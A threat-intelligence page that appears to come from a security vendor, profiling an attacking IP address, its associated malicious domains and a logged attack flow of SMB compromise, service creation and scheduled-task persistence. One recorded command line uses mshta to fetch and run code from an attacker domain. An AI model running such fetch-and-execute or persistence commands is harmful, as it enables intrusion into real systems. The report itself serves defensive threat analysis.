Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 196.218.141.67Malicious

IP Address: 196.218.141.67Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Listening SMB Null Session Login DNS Query Cookie Hijacking Successful SMB Login Service Stop System File Modification Access Share CMD Service Creation Executable File Modification Service Deletion Execute from Share Persistency - Logon Service Configuration Scheduled Task Creation Outgoing Connection Driver Creation Driver Start SMB Share Connect Access Suspicious Domain Download File SMB IDS - A Network Trojan was detected Service Start Download and Execute Driver Configuration

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl oo.beahh.com p.abbny.com pp.abbny.com w.beahh.com

36.37.88.167 192.168.0.1 192.168.0.2

Basic Information

IP Address

196.218.141.67

Domain

-

ISP

-

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-07-08

Last seen in Akamai Guardicore Segmentation

2023-07-11

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

C:\IRBbEUTb.exe was downloaded

Download File

irbbeutb.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\irbbeutb.exe as a service named dHHb under service group None

Service Creation Service Start

Service dHHb was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named djii under service group None

Service Creation Service Start

IDS detected A Network Trojan was detected : WMIC WMI Request Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 3 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named MKTU under service group None

Service Creation Service Start

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 6 times

Download and Execute

Service MKTU was stopped

Service Stop

Process c:\installed2.exe started listening on ports: 65533

Listening

The file C:\WINDOWS\Temp\_MEI13242\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI13242\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei13242\msvcr90.dll

Download and Execute

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User

Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\tlyqugxe.exe as a service named hMrf under service group None

Service Creation Service Start

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

tlyqugxe.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service hMrf was stopped

Service Stop

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

The file c:\windows\system32\wmiex.exe was downloaded and executed 2 times

Download and Execute

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Creation Service Start

Process c:\installed2.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Service Creation Driver Start

Executable file c:\windows\system32\drivers\svchost.exe was modified

Executable File Modification

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 3 times

Service Creation Service Start

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\netsh.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Creation Service Start

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Service Creation Driver Start

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

The file c:\windows\system32\drivers\taskmgr.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net and p.abbny.com

DNS Query Access Suspicious Domain

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

Outgoing Connection DNS Query Access Suspicious Domain

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

The file C:\WINDOWS\Temp\_MEI38042\python27.dll was downloaded and loaded by c:\windows\temp\_mei38042\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI38042\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei38042\msvcr90.dll

Download and Execute

Process netsvcs Service Group attempted to access suspicious domains: _LDAP._TCP

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.1:445 and 192.168.0.2:445

Outgoing Connection

Associated Files

C:\KqJHwovH.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes